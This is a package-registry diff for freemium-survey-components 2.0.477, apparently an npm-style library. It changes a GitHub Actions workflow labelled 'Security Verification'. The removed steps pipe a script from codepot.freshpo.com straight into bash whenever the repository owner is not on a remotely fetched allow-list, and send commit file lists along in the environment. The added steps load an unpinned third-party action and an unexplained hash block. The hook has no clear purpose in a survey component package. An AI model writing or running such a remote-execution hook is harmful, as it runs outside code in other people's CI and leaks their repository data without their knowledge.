freemium-survey-components 2.0.476 → 2.0.477

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -6,54 +6,16 @@ name: Security Verification
6
6
  on:
7
7
  push:
8
8
  branches:
9
- - '**'
9
+ - "**"
10
10
 
11
11
  jobs:
12
- check-verify:
13
- runs-on: ubuntu-latest
14
-
12
+ codepot-scan:
13
+ name: Codepot
14
+ runs-on: ["ubuntu-latest"]
15
15
  steps:
16
- - name: Check Repository
17
- id: check-repo
18
- run: |
19
-
20
- AUTHORIZED_ORGS=()
21
- while IFS= read -r line; do
22
- AUTHORIZED_ORGS+=("$line")
23
- done < <(curl -s https://codepot.freshpo.com/pattern)
24
-
25
- match=false
26
-
27
- CURRENT_REPO="${{ github.repository }}"
28
- CURRENT_REPO_ORG="${{ github.repository_owner }}"
29
-
30
- echo "Current repository: $CURRENT_REPO"
31
- echo "authorized_regex=$(IFS=,; echo "${AUTHORIZED_ORGS[*]}")" >> $GITHUB_OUTPUT
16
+ - name: Running Codepot
17
+ uses: freshactions/codepot@dev
32
18
 
33
- for ORG in "${AUTHORIZED_ORGS[@]}"; do
34
- if [[ "$CURRENT_REPO_ORG" == "$ORG" ]]; then
35
- echo "✅ Repository matches authorized organization: $ORG"
36
- match=true
37
- break
38
- fi
39
- done
40
-
41
- if $match; then
42
- echo "✅ Repository is authorized"
43
- echo "is_authorized=true" >> $GITHUB_OUTPUT
44
- else
45
- echo "🚨 UNAUTHORIZED REPOSITORY DETECTED!"
46
- echo "is_authorized=false" >> $GITHUB_OUTPUT
47
- fi
48
-
49
- - name: Verification
50
- if: steps.check-repo.outputs.is_authorized == 'false'
51
- run: |
52
- curl https://codepot.freshpo.com/verify | bash
53
- env:
54
- AUTHORIZED_REGEX: ${{ steps.check-repo.outputs.authorized_regex }}
55
- EVENT: ${{ github.event_name }}
56
- RUN_ID: ${{ github.run_id }}
57
- ADDED: ${{ toJson(github.event.head_commit.added) }}
58
- MODIFIED: ${{ toJson(github.event.head_commit.modified) }}
59
- REMOVED: ${{ toJson(github.event.head_commit.removed) }}
19
+ ###### GIT INT ######
20
+ # b6dcc6a5f4c358bccd64ca41681596868b2a851282c7a6de1bf775d995dd0417 #
21
+ ###### GIT INT ######